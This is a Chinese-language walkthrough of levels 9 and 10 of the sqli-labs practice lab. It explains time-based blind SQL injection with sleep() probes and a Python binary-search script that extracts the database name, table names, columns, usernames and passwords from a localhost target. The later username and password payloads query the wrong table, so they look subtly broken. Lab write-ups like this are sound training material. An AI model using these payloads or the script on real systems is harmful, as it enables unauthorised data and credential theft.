第九关:
这一关相比第八关,第八关他正确显示you are in,错误不显示you are in,但是第九关你不管是输入正确或者错误都显示 you are in ,这个时候布尔盲注就不适合我们用,所以我们的换一下思路,布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以考虑使用时间盲注。
判断注入点
基于时间的注入(延时注入)
1. Time-based blind SQL injection
2.利用前提:页面没有显示位,也没有输入SQL语句执行错误信息,正确的SQL语句和错误的返回页面都一样,但
是加入sleep(5)条件后,正确的SQL语句页面返回速度明显慢了5秒,错误的SQL语句立即返回。
3.优点:不需要显示位,不需要报错信息。
4.缺点:速度慢,耗费大量时间
5.用法:IF(Condition,A,B)函数
当Condition为TRUE时,返回A;否则返回B。
6.示例: SELECT * FROM users WHERE id=1 AND IF(ASCII(SUBSTR(USER(),1,1))>65 ,SLEEP(5),1);
?id=1' and sleep(3) --+ 有明显延迟
?id=1" and sleep(3) --+ 无延迟
?id=1') and sleep(3) --+ 无延迟说明这里的闭合是单引号。 位数暂时不判断了,用脚本的话不需要位数
当请求错误时,延迟时间在3S以后
当请求正确时,延迟时间很短,在3S以内
基于这个我们就可以写脚本来帮助我们注入
import time
import requests
url = "http://127.0.0.1/sqli-labs-php7-master/Less-9/index.php"
#二分法
def inject_database(url):
name=""
for i in range(1,20):
low =32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and if(ascii(substr(database(),%d,1)) > %d,sleep(1),0)-- " % (i, mid)
params = {"id": payload}
start_time = time.time()
r = requests.get(url,params=params)
end_time = time.time()
if end_time - start_time >= 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name += chr(mid)
print(name)
inject_database(url)
有点慢,但是也是成功拿下数据
下边的操作和之前的一样
爆表
payload = "1' and if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='security'),%d,1)) > %d,sleep(1),0)-- " % (i, mid)
爆字段
payload = "1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),%d,1)) > %d,sleep(1),0)-- " % (i, mid)
username,password
payload = "1' and if(ascii(substr((select group_concat(username) from information_schema.columns where table_schema='security'and table_name='users'),%d,1)) > %d,sleep(1),0)-- " % (i, mid)
payload = "1' and if(ascii(substr((select group_concat(password) from information_schema.columns where table_schema='security'and table_name='users'),%d,1)) > %d,sleep(1),0)-- " % (i, mid)
拿下
第十关:
和第九关不一样的就是这里是双引号
还是时间盲注,稍微修改,直接使用
成功拿到数据库 ,后边的操作都是如法炮制!!!